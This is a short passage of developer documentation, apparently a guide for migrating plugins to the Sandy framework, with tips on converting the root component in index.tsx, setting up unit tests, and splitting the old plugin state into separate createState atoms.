 * These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
 * Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
 * If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.